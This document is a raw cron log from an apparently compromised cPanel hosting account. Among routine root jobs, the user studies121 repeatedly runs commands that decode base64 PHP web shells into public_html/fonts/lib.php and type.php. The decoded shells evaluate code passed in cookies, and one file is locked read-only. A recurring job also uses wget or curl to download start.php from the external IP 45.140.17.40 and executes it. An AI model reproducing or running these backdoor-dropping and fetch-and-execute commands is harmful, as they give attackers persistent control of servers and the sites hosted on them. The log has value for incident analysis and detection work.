Feb 23 02:11:01 ip-184-168-122-23 CROND[2921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:12:01 ip-184-168-122-23 CROND[3292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:12:01 ip-184-168-122-23 CROND[3294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:12:01 ip-184-168-122-23 CROND[3295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:12:01 ip-184-168-122-23 CROND[3296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:12:01 ip-184-168-122-23 CROND[3297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:13:01 ip-184-168-122-23 CROND[3607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:13:01 ip-184-168-122-23 CROND[3608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:13:01 ip-184-168-122-23 CROND[3611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:13:01 ip-184-168-122-23 CROND[3612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:14:01 ip-184-168-122-23 CROND[3928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:14:01 ip-184-168-122-23 CROND[3929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:14:01 ip-184-168-122-23 CROND[3934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:14:01 ip-184-168-122-23 CROND[3933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:14:01 ip-184-168-122-23 CROND[3935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:15:02 ip-184-168-122-23 CROND[4330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:15:02 ip-184-168-122-23 CROND[4329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:15:02 ip-184-168-122-23 CROND[4335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:15:02 ip-184-168-122-23 CROND[4333]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 23 02:15:02 ip-184-168-122-23 CROND[4336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:15:02 ip-184-168-122-23 CROND[4337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:15:02 ip-184-168-122-23 CROND[4339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:16:01 ip-184-168-122-23 CROND[4667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:16:01 ip-184-168-122-23 CROND[4668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:16:01 ip-184-168-122-23 CROND[4669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:16:01 ip-184-168-122-23 CROND[4672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:16:01 ip-184-168-122-23 CROND[4673]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 02:16:01 ip-184-168-122-23 CROND[4674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:17:01 ip-184-168-122-23 CROND[5010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:17:01 ip-184-168-122-23 CROND[5012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:17:01 ip-184-168-122-23 CROND[5014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:17:01 ip-184-168-122-23 CROND[5015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:18:01 ip-184-168-122-23 CROND[5325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:18:01 ip-184-168-122-23 CROND[5327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:18:01 ip-184-168-122-23 CROND[5328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:18:01 ip-184-168-122-23 CROND[5329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:18:01 ip-184-168-122-23 CROND[5330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:19:01 ip-184-168-122-23 CROND[5636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:19:01 ip-184-168-122-23 CROND[5638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:19:01 ip-184-168-122-23 CROND[5640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:19:01 ip-184-168-122-23 CROND[5639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:20:01 ip-184-168-122-23 CROND[5948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:20:01 ip-184-168-122-23 CROND[5953]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 02:20:01 ip-184-168-122-23 CROND[5949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:20:01 ip-184-168-122-23 CROND[5954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:20:01 ip-184-168-122-23 CROND[5950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:20:01 ip-184-168-122-23 CROND[5955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 02:20:01 ip-184-168-122-23 CROND[5951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:20:01 ip-184-168-122-23 CROND[5961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:20:01 ip-184-168-122-23 CROND[5962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:21:01 ip-184-168-122-23 CROND[6334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:21:01 ip-184-168-122-23 CROND[6333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:21:01 ip-184-168-122-23 CROND[6337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:21:01 ip-184-168-122-23 CROND[6338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:22:01 ip-184-168-122-23 CROND[6653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:22:01 ip-184-168-122-23 CROND[6656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:22:01 ip-184-168-122-23 CROND[6655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:22:01 ip-184-168-122-23 CROND[6658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:22:01 ip-184-168-122-23 CROND[6657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:23:01 ip-184-168-122-23 CROND[6957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:23:01 ip-184-168-122-23 CROND[6958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:23:01 ip-184-168-122-23 CROND[6959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
